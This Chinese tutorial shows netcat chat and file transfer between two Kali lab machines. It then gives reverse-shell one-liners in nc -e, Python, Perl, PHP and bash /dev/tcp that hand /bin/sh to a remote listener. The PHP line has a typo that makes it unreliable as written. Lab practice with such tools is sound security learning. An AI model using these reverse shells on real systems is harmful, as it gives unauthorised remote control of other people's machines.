kali下nc通信,文件传输,反弹shell
程序员文章站
2022-07-15 11:18:57
...
- kali1: 192.168.132.133
- kali2: 192.168.132.144
一:使用nc通信
-
在kali1中使用
nc -lnvp [端口号]
来监听一个端口 -
在kali2中使用
nc [kali1的ip] [端口]
来链接对方监听的端口 -
然后可以在kali1中查看到链接机器
-
然后可以在kali2中直接输入内容然后回车,与此同时即可在kali1中接收到kali2的信息
二:使用nc传输文件
kali2向kali1传输一个img2.jpg文件
- 确保kali2下存在这样一个文件,而kali1没有
- kali1 使用
nc -lnvp 8888 > [文件全名]
指定接收一个文件
- kali2中使用
nc 192.168.132.133 8888 < img2.jpg
指定发送这个文件
- 在kali1中可以ctrl shift t开另一个终端查看是否存在这样的文件
(如果想要在其他机器上测试需要先yum install nc.x86_64
安装一下nc工具)
三:反弹shell
- kali1中
nc -lnvp 8888
开启监听
- kali2中
nc 192.168.132.133 8888 -e /bin/sh
- 则kali1中可以获取对方shell
四:python环境反弹shell
即针对对方主机没有nc但有python环境的情况下进行反向shell
- 同样在kali1的8888开启监听
- python查看到kali2存在python环境
- 使用python脚本
python -c "
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('192.168.132.133',8888));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(['/bin/sh','-i']);"
- kali1则可以成功获取到对方shell另外的还有一些perl脚本,php脚本等,利用方式跟python脚本就是大同小异了。
perl脚本:
perl -e'use Socket;$i="192.168.132.133";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S" );open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
php脚本:
php -r '$sock=fsockopen("192.168.132.133",8888);exec("/bin/sh -1<&3 >&3 2>&3");'
bash
bash -i >& /dev/tcp/192.168.132.133/8888 0>&1